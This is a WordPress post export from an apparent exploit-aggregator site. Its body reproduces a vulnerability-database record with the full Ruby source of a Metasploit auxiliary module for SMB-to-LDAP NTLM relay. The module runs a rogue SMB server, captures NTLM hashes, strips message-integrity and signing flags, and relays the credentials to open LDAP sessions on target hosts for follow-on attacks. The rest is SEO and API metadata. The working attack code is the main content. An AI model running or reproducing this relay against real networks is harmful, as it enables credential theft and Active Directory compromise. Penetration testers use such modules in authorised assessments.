{"id":15142,"date":"2025-08-29T15:38:54","date_gmt":"2025-08-29T15:38:54","guid":{"rendered":"http:\/\/localhost\/?p=15142"},"modified":"2025-08-29T15:38:54","modified_gmt":"2025-08-29T15:38:54","slug":"microsoft-windows-smb-to-ldap-relay","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15142","title":{"rendered":"Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:24:03&#8243;,&#8221;description&#8221;:&#8221;This module supports running an SMB server which validates credentials, and           then attempts to execute a relay attack against an LDAP server on the       &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:31&#8243;,&#8221;modified&#8221;:&#8221;2025-03-17T18:52:10&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Microsoft Windows SMB to LDAP Relay&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n  include Msf::Exploit::Remote::SMB::RelayServer\\n  include Msf::Auxiliary::CommandShell\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Microsoft Windows SMB to LDAP Relay&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module supports running an SMB server which validates credentials, and\\n          then attempts to execute a relay attack against an LDAP server on the\\n          configured RHOSTS hosts.\\n\\n          It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check\\n          (MIC). As a result, this will only work with NTLMv1. The module takes care of\\n          removing the relevant flags to bypass signing.\\n\\n          If the relay succeeds, an LDAP session to the target will be created. This can\\n          be used by any modules that support LDAP sessions, like `admin\/ldap\/rbcd` or\\n          `auxiliary\/gather\/ldap_query`.\\n\\n          Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.\\n          SMBv1 is not supported &#8211; please see https:\/\/github.com\/rapid7\/metasploit-framework\/issues\/16261\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Spencer McIntyre&#8217;, # This module \\u0026 LDAP relay library\\n          &#8216;Christophe De La Fuente&#8217; # This module \\u0026 SMB relay updates\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Actions&#8217; =\\u003e [\\n          [ &#8216;CREATE_LDAP_SESSION&#8217;, { &#8216;Description&#8217; =\\u003e &#8216;Create an LDAP session&#8217; } ]\\n        ],\\n        &#8216;PassiveActions&#8217; =\\u003e [ &#8216;CREATE_LDAP_SESSION&#8217; ],\\n        &#8216;DefaultAction&#8217; =\\u003e &#8216;CREATE_LDAP_SESSION&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [ CRASH_SAFE ],\\n          &#8216;Reliability&#8217; =\\u003e [ REPEATABLE_SESSION ],\\n          &#8216;SideEffects&#8217; =\\u003e [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        Opt::RPORT(389)\\n      ]\\n    )\\n\\n    register_advanced_options(\\n      [\\n        OptBool.new(&#8216;RANDOMIZE_TARGETS&#8217;, [true, &#8216;Whether the relay targets should be randomized&#8217;, true]),\\n        OptInt.new(&#8216;SessionKeepalive&#8217;, [true, &#8216;Time (in seconds) for sending protocol-level keepalive messages&#8217;, 10 * 60])\\n      ]\\n    )\\n  end\\n\\n  def relay_targets\\n    Msf::Exploit::Remote::SMB::Relay::TargetList.new(\\n      :ldap, # TODO: look into LDAPs\\n      datastore[&#8216;RPORT&#8217;],\\n      datastore[&#8216;RHOSTS&#8217;],\\n      datastore[&#8216;TARGETURI&#8217;],\\n      randomize_targets: datastore[&#8216;RANDOMIZE_TARGETS&#8217;],\\n      drop_mic_only: true,\\n      drop_mic_and_sign_key_exch_flags: true\\n    )\\n  end\\n\\n  def check_options\\n    unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)\\n      fail_with(Failure::BadConfig, &#8216;This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`&#8217;)\\n    end\\n  end\\n\\n  def run\\n    check_options\\n\\n    start_service\\n    print_status(&#8216;Server started.&#8217;)\\n\\n    # Wait on the service to stop\\n    service.wait if service\\n  end\\n\\n  def on_relay_success(relay_connection:, relay_identity:)\\n    print_good(&#8216;Relay succeeded&#8217;)\\n    session_setup(relay_connection, relay_identity)\\n  rescue StandardError =\\u003e e\\n    elog(&#8216;Failed to setup the session&#8217;, error: e)\\n  end\\n\\n  # @param [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::LDAP::Client] relay_connection\\n  # @return [Msf::Sessions::LDAP]\\n  def session_setup(relay_connection, relay_identity)\\n    client = relay_connection.create_ldap_client\\n    ldap_session = Msf::Sessions::LDAP.new(\\n      relay_connection.socket,\\n      {\\n        client: client,\\n        keepalive_seconds: datastore[&#8216;SessionKeepalive&#8217;]\\n      }\\n    )\\n    domain, _, username = relay_identity.partition(&#8216;\\\\\\\\&#8217;)\\n    datastore_options = {\\n      &#8216;DOMAIN&#8217; =\\u003e domain,\\n      &#8216;USERNAME&#8217; =\\u003e username\\n    }\\n    start_session(self, nil, datastore_options, false, ldap_session.rstream, ldap_session)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/server\/relay\/smb_to_ldap.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/server\/relay\/smb_to_ldap\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:24:03&#8243;,&#8221;description&#8221;:&#8221;This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack against an LDAP server on the &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:31&#8243;,&#8221;modified&#8221;:&#8221;2025-03-17T18:52:10&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Microsoft&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-15142","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15142\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:24:03&#8243;,&#8221;description&#8221;:&#8221;This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack against an LDAP server on the &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:31&#8243;,&#8221;modified&#8221;:&#8221;2025-03-17T18:52:10&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Microsoft...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15142\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-29T15:38:54+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15142#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15142\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP-\",\"datePublished\":\"2025-08-29T15:38:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15142\"},\"wordCount\":753,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15142#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15142\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15142\",\"name\":\"Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-29T15:38:54+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15142#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15142\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15142#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15142","og_locale":"en_US","og_type":"article","og_title":"Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:24:03&#8243;,&#8221;description&#8221;:&#8221;This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack against an LDAP server on the &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:31&#8243;,&#8221;modified&#8221;:&#8221;2025-03-17T18:52:10&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Microsoft...","og_url":"https:\/\/zero.redgem.net\/?p=15142","og_site_name":"zero redgem","article_published_time":"2025-08-29T15:38:54+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15142#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15142"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP-","datePublished":"2025-08-29T15:38:54+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15142"},"wordCount":753,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15142#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15142","url":"https:\/\/zero.redgem.net\/?p=15142","name":"Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-29T15:38:54+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15142#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15142"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15142#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Microsoft Windows SMB to LDAP Relay_MSF:AUXILIARY-SERVER-RELAY-SMB_TO_LDAP-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15142","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15142"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15142\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15142"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15142"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15142"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}